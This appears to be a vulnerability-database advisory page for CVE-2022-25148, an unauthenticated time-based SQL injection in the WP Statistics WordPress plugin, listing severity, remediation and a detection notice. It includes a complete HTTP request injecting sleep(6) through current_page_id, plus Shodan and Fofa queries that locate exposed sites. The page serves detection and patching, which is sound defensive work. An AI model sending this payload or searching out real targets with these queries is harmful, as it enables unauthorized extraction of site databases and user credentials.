🔙 목록으로 돌아가기

CVE-2022-25148: WordPress Plugin WP Statistics <= 13.1.5 - SQL Injection

TitleWordPress Plugin WP Statistics <= 13.1.5 - SQL Injection
Authortheamanrawat
SeverityCritical
ImpactUnauthenticated attackers can execute time-based SQL injection through the current_page_id parameter to extract the complete WordPress database including user credentials, visitor statistics, and site analytics data.
RemediationUpdate wp-statistics plugin to version 13.1.6, or newer.
CVSS Score9.8
EPSS Score0.48461
CVE IDCVE-2022-25148
CWE IDCWE-89
Shodan Queryhttp.html:/wp-content/plugins/wp-statistics/
Fofa Querybody=/wp-content/plugins/wp-statistics/
Tags time-based-sqli cve cve2022 packetstorm sqli wpscan wordpress wp-plugin wp wp-statistics veronalabs vuln

🔍 Vulnerability Description

The WP Statistics WordPress plugin is vulnerable to SQL Injection due to insufficient escaping and parameterization of the current_page_id parameter found in the ~/includes/class-wp-statistics-hits.php file which allows attackers without authentication to inject arbitrary SQL queries to obtain sensitive information, in versions up to and including 13.1.5.

🌐 HTTP Request

GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393
Connection: close
Accept-Encoding: gzip
GET /wp-json/wp-statistics/v2/hit?_=11&_wpnonce=tPdpfp&wp_statistics_hit_rest&browser&platform&version&referred&ip=11.11.11.11&exclusion_match=no&exclusion_reason&ua=Something&track_all=1&timestamp=11&current_page_type=home&current_page_id=sleep(6)&search_query&page_uri=/&user_id=0 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.22
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-25148.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-25148.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A